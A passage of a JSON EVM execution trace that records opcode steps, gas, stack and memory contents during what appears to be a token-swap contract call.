d48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","00000020f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14295,"op":"MSTORE","gas":2124,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x2","0x2","0x3c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","00000020f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14296,"op":"PUSH1","gas":2121,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14298,"op":"SWAP2","gas":2118,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14299,"op":"SWAP1","gas":2115,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x2","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14300,"op":"DUP5","gas":2112,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14301,"op":"DUP3","gas":2109,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x2","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14302,"op":"ADD","gas":2106,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x2","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14303,"op":"SWAP1","gas":2103,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x2","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14304,"op":"PUSH1","gas":2100,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14306,"op":"DUP6","gas":2097,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x2","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14307,"op":"ADD","gas":2094,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x2","0x40","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14308,"op":"SWAP1","gas":2091,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x2","0x3e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14309,"op":"DUP5","gas":2088,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14310,"op":"JUMPDEST","gas":2085,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","000000020000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14311,"op":"DUP2","gas":2084,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x120","0x3e4","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000